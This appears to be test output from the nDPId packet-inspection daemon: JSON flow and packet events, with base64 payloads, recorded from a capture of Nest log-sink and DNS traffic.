+01036{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":278043,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvL8cAAP8GGRPAqPIPI7yauvdwK1cI1a+UXLN\/NVAYDyEJxgAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQYiiI+CssXNgbbOI5KRBlPV+ckmqQY3DK8\/LWnnr+HRKdGl+smZnROwwJpA\/10vbLaoApT4ab9eVEX4GDtWp\/O6sMXDpatNrda+Ox0c7122U2yulciv0wBRa1Q3Et904JxeZAKiz9brEeeyimZQnBvgQ0i9aufaup2bP0SHllfcVNot+eteqTXxPzVw7QEm\/X8x\/26iPbtORYjheueLOW2rEKowcxo5t4YmkgDd7FQJy24Q1PzXxE+HhYeXeLrYiUYVbfZdCN8UVk\/RSOLdfqLUnus+Ij6FtDDpwnbcj9QO\/0QjlTxJV04mNR1221RikjMGZX0NYa6NzTyJab\/sXnsv19mzVjim5U+3oDuFF4ym3MgwGRna96YPvBXJyIzPDR3NYrmUobCHurLrdJCf7djF+vcEvAD9CAmdNNSQ2kTPYZQnW3DttK8S2Zmrk7tlKNbXFLblr1t7PnQPzOuwIGjsY9XduMdsIX2QIBIp1pSv0M0Vsy32SGVR+pppogfAMsiQnNZz5d6Vzs\/dPqWkLyhe+1+Z+XUQbJsoEs6o9PX7M+BsyUL6Onfo+lnKXZOHE0="} +00494{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":328350,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABfsHZAADcGIfQjvJq6wKjyDytX93Bcs381CNWxW1AYdUBgWAAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQYiiJJQiz+L96IV3SFOxiBSZcbP\/mbp23+qRRvM0Emeg=="} +00535{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":264,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":83,"flow_first_seen":1536712992228,"flow_last_seen":1536714607385,"flow_tot_l4_data_len":1722,"flow_min_l4_data_len":20,"flow_max_l4_data_len":82,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63340,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink","breed":"Acceptable","category":"Cloud"}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":264,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":83,"flow_first_seen":1536712992228,"flow_last_seen":1536714607385,"flow_tot_l4_data_len":1722,"flow_min_l4_data_len":20,"flow_max_l4_data_len":82,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63340,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":264,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":72,"flow_first_seen":1536714602612,"flow_last_seen":1536714607322,"flow_tot_l4_data_len":16279,"flow_min_l4_data_len":20,"flow_max_l4_data_len":699,"flow_avg_l4_data_len":226,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63342,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":268,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":21,"flow_first_seen":1536714610253,"flow_last_seen":1536714615546,"flow_tot_l4_data_len":3214,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":153,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63344,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":308,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1536714602587,"flow_last_seen":1536714607527,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":48,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":406,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1536716402804,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716402,"pkt_ts_usec":804764,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AJD7JidrGLQwJjRACABFAABEL\/cAAP8RJk\/AqPIPwKjyAc5xADUAMDxpd90BAAABAAAAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAQ=="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":406,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1536716402804,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00474{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716402,"pkt_ts_usec":805070,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"GLQwJjRAAJD7JidrCABFAABUcEtAAEARZOvAqPIBwKjyDwA1znEAQGW0d92BgAABAAEAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAcAMAAEAAQAAAHgABCO8mro="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":407,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":1536716402804,"flow_last_seen":1536716402805,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":408,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1536716402828,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63345,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716402,"pkt_ts_usec":828004,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsL\/gAAP8GGqXAqPIPI7yauvdxK1cI4Q21AAAAAGACEgDczAAAAgQEgAAA"} +00422{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716402,"pkt_ts_usec":889007,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX93El8kNOCOENtmASbvAVfwAAAgQFjA=="} +00423{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716402,"pkt_ts_usec":894336,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL\/kAAP8GGqjAqPIPI7yauvdxK1cI4Q22JfJDT1AQEgCKBAAAAAAAAAAA"} +01131{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716403,"pkt_ts_usec":532973,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"AJD7JidrGLQwJjRACABFAAI6L\/oAAP8GGJXAqPIPI7yauvdxK1cI4Q22JfJDT1AYEgBRxQAAEAIAEw4DAAA2nicAADC0GAQAAAACMLQYEQqVBgQAAACBAAA5+ABtAAEAWiMlAFoj1yoEz4HMy2Wj6TwREY68GLwjrCUYASlfRl\/UJOvnpAobEXaG0mNTZNBlO2yRi9w8kL9VCz5wPX9r5E2VBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARx\/vUwxJ4Xh1PVIyv\/KCdcV6Q7oD2DpYK9owiFEMAIcEPIIaS2FTqagiHt850VqWoirNuul6T96FqxGQRg="} +00414{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716403,"pkt_ts_usec":585728,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoksRAADcGP90jvJq6wKjyDytX93El8kNPCOEPyFAQcRAo4gAA"} +01330{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716403,"pkt_ts_usec":590967,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"GLQwJjRAAJD7JidrCABFAALOksVAADcGPTYjvJq6wKjyDytX93El8kNPCOEPyFAYcRCXggAApAIAE+UjKQQEAAAAAjC0GDaeJwAAMLQYEAuVBgQAAACAOewBAAAELdbwukQcqjzzox9ewnDrC9pWd1r+348WJdG7JwXO5v924q\/oZvIrLWdzv8wbbkTYLFLg8PCkl\/7VAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEcFim0koTd9VH24Qi3gwBu+1JGiaYHN0Hss2X7DzACHQDtu7awqIWueyyG\/HSOZ8skGfW6dThFyBg9fjHnGLyBMayeO8OEQW3boWBH0QsRhFZn"} +00424{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716403,"pkt_ts_usec":807631,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL\/sAAP8GGqbAqPIPI7yauvdxK1cI4Q\/IJfJF9VAQD1qH8gAAAAAAAAAA"} +00490{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716404,"pkt_ts_usec":974579,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcL\/wAAP8GGnHAqPIPI7yauvdxK1cI4Q\/IJfJF9VAYD1rm7wAAMgAAEw8DAAA2nicAADC0GAQAAAACMLQYEQyVBgQAAACt0l0ZnY6SlM7vjCpSkumsf2CXpA=="} +00542{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":415,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":8,"flow_first_seen":1536716402828,"flow_last_seen":1536716404974,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63345,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00414{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":68469,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoksZAADcGP9sjvJq6wKjyDytX93El8kX1COEP\/FAQcRAmCAAA"} +00515{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":70831,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuL\/0AAP8GGl7AqPIPI7yauvdxK1cI4Q\/8JfJF9VAYD1pqmgAARAAQEwAAAAA2nicAADC0GAQAAAACMLQY1yrQmv5AqlhV6\/eZEU6Z83DQLEb0IYwGPVyY7GVzIqmwdr20i6uJtbyrLETLSw=="} +00415{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":125501,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoksdAADcGP9ojvJq6wKjyDytX93El8kX1COEQQlAQcRAlwgAA"} +00494{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":125534,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABhkshAADcGP6AjvJq6wKjyDytX93El8kX1COEQQlAYcRBUmQAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQY1yoJPXeMA2Na2lNb5EJxdMROSUZtrksu8WcrYyRTls\/A"} +01035{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":140415,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvL\/4AAP8GGNzAqPIPI7yauvdxK1cI4RBCJfJGLlAYDyFVgwAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQY1yo9eImZB93PDQQN7T6rkV1wOLazg3dAyYEXsNlZW\/XgnalnYXvDfsmAv0RlnYGhMNiCkDxkaxQK1YhuAEnDeymV33rZEvG7UgiCL6wP6iIUlqF6esuCUWDqFmOmvtOKuzkyrF0ppUL3kKr1jqIdN+Oh7Ai5bIxU\/ao3JPvBrZ0iw98gKZC2bKpXdvuwGJlGxGxmK9jCR5w8DHlpkObhKcXdXeyy5Fk9W1OOu7+Kiu95kmkdIp+PGtck1PmH2xfBQpDJzb2GiJaJ6pBGRlng+H+Yi5QnWU7sCuOFwPbjO6z\/oCf6y14TW1v6mEfbNbiZw1S094pxBf8p56ULTo\/88LjMEa9BafZURfOcGFKCnGVu9ysEZIc\/7mda\/sshvptv9Wtyqf3Fwk92W5lMHV4kftxEc1PeiJeE0clEHnB8Hwql0hwIiJDXUV1DJErrSkt72zSJJWzoTfD+jYPsFtE5DcbOQPjLIudNhwjbzLo\/zPNYOmlYQVIpvIT\/z8kj9yw3DLrNxYB1qajs9GG4xBEA06TRFhEcdHjdHjiQZFss93lOMmYl99F7N7Ej7lVKkVo="} +00493{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":190412,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABfkslAADcGP6EjvJq6wKjyDytX93El8kYuCOESCVAYdUCWjwAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQY1yrUI1pzYO6El4WvDidxBDCiqep2W0Zbn9KnAb9E6Q=="} +01039{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716405,"pkt_ts_usec":203931,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvL\/8AAP8GGNvAqPIPI7yauvdxK1cI4RIJJfJGZVAYDuoVUQAAxQEQEwIAAAA2nicAADC0GAQAAAACMLQY1yqABAywxCCA8D3PjjoFOb1Ce0gW1cuNNWbRuYysyr1G2YOIKmwfsanQwM2QeneXd5RmeMU0tOCucHcQb7y+XQTA0DJ7MnNP\/O0UR0qAMb5\/v5FUXV+G\/HCzJc18ar\/uvx5yasHK3PlMOeESls718vo62y8zDNEPqWDWEEONI0gJlHP5MGyeYs+xET0zzNaGW2ykoalJUv8h0CIZPYqYbDSxZfmOjlOmCEmbwAjwM8RoKguQdQqJNU+Df969KbeZgmtBFuOjUvYU93LzESNx8gGw4GQl1y7YHw6ifkpKetqgC35kbdVRsJiw4hZHS0iWY6OMUjt9HZPwwAZz2k9CF7dU+nYX+g2He5iPvO7c1uHx7g0+H4XfeFXu9M6z3+SrP4se\/QtOGUnpsL3O81i\/1j38UK0I+SMoCOhWPvK9X8YYVQwUkrz1hC8lypLCGmT4fpu14Vb3+LLffIbsNDgsvuZVzqQ\/mgyA\/SrShvIL9P\/bnjoQzcALIRGtMtxSYplZLTnaGGZ\/Mpb71srs7Bbt2GTgQJN9OcqkHIQJhTnsX\/nlB\/iEn8j0+TDpir+14EI="} +00478{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":3782,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"AJD7JidrGLQwJjRACABFAABXMB8AAP8RJhTAqPIPwKjyAc5xADUAQ16pMiMBAAABAAAAAAAAB2N6ZmUxMDUHZnJvbnQwMQVpYWQwMQpwcm9kdWN0aW9uBG5lc3QDY29tAAABAAE="} +00697{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":483,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":3,"flow_first_seen":1536716402804,"flow_last_seen":1536716407003,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":48,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"czfe105.front01.iad01.production.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00573{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":116756,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"GLQwJjRAAJD7JidrCABFAACbebVAAEARWzrAqPIBwKjyDwA1znEAh2X7MiOBgAABAAIAAAAAB2N6ZmUxMDUHZnJvbnQwMQVpYWQwMQpwcm9kdWN0aW9uBG5lc3QDY29tAAABAAHADAAFAAEAAAB4ACgRZWMyLTM1LTE3NC04Mi0yMzcJY29tcHV0ZS0xCWFtYXpvbmF3c8AywEcAAQABAAjtKQAEI65S7Q=="} +00697{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":485,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1536716402804,"flow_last_seen":1536716407116,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":48,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"czfe105.front01.iad01.production.nest.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.174.82.237"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":486,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1536716407119,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63346,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":119984,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMCAAAP8GYljAqPIPI65S7fdyK1cI7G5zAAAAAGACEgDD3QAAAgQEgAAA"} +00422{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":186187,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAAC0GJHkjrlLtwKjyDytX93Kf6ho7COxudGASaQOxbwAAAgQFtA=="} +00422{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":188905,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMCEAAP8GYlvAqPIPI65S7fdyK1cI7G50n+oaPFAQEgAgMAAAAAAAAAAA"} 